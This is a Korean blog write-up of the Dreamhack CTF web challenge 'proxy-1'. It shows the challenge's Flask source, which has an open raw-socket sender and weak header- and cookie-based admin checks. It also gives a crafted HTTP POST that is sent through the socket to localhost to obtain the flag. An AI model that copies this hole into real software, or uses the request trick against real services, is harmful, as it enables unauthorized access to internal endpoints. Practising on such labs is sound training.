상세 컨텐츠

본문 제목

[Dreamhack] proxy-1

WEB HACKING/Dreamhack

by koharin 2022. 1. 4. 01:41

본문

728x90
반응형
#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for
import socket

app = Flask(__name__)

try:
    FLAG = open('./flag.txt', 'r').read()
except:
    FLAG = '[**FLAG**]'

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/socket', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('socket.html')
    elif request.method == 'POST':
        host = request.form.get('host')
        port = request.form.get('port', type=int)
        data = request.form.get('data')

        retData = ""
        try:
            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
                s.settimeout(3)
                s.connect((host, port))
                s.sendall(data.encode())
                while True:
                    tmpData = s.recv(1024)
                    retData += tmpData.decode()
                    if not tmpData: break
            
        except Exception as e:
            return render_template('socket_result.html', data=e)
        
        return render_template('socket_result.html', data=retData)


@app.route('/admin', methods=['POST'])
def admin():
    if request.remote_addr != '127.0.0.1':
        return 'Only localhost'

    if request.headers.get('User-Agent') != 'Admin Browser':
        return 'Only Admin Browser'

    if request.headers.get('DreamhackUser') != 'admin':
        return 'Only Admin'

    if request.cookies.get('admin') != 'true':
        return 'Admin Cookie'

    if request.form.get('userid') != 'admin':
        return 'Admin id'

    return FLAG

app.run(host='0.0.0.0', port=8000)

/admin에 POST로 요청을 보내는데, remote_addr, User-Agent, DreamhackUser, admin, userid를 명시된 값으로 설정해야 한다.

remote_addr은 접속하는 사용자 IP로, proxy 툴을 사용하면 접속하는 사용자 ip가 127.0.0.1이어야 하는 조건을 만족하지 못한다. 따라서 문제에서 Raw Socket Sender로 host와 port를 설정할 수 있으므로 host를 127.0.0.1로, port를 코드에서 명시된 8000으로 맞춰준다.

Data로는 서버의 admin 경로에 User-Agent, DreamhackUser, admin, userid을 조작한 request 패킷 내용을 준다.

 

POST /admin HTTP/1.1
Host: host1.dreamhack.games:14313
Content-Length: 12
Content-Type: application/x-www-form-urlencoded
User-Agent: Admin Browser
DreamhackUser: admin
Cookie: admin=true

userid=admin

 

 

 

Send 버튼을 누르면, admin 함수 실행 결과로 FLAG가 리턴되어 출력되는 것을 확인할 수 있다.

728x90
반응형

'WEB HACKING > Dreamhack' 카테고리의 다른 글

[Dreamhack] csrf-1  (0) 2022.12.10
[Dreamhack] file-download-1  (0) 2022.11.24
[Dreamhack] command-injection-1  (0) 2022.01.03
[Dreamhack] pathtraversal  (0) 2021.03.08
[Dreamhack] simple_sqli (SQL Injection)  (0) 2021.02.09

관련글 더보기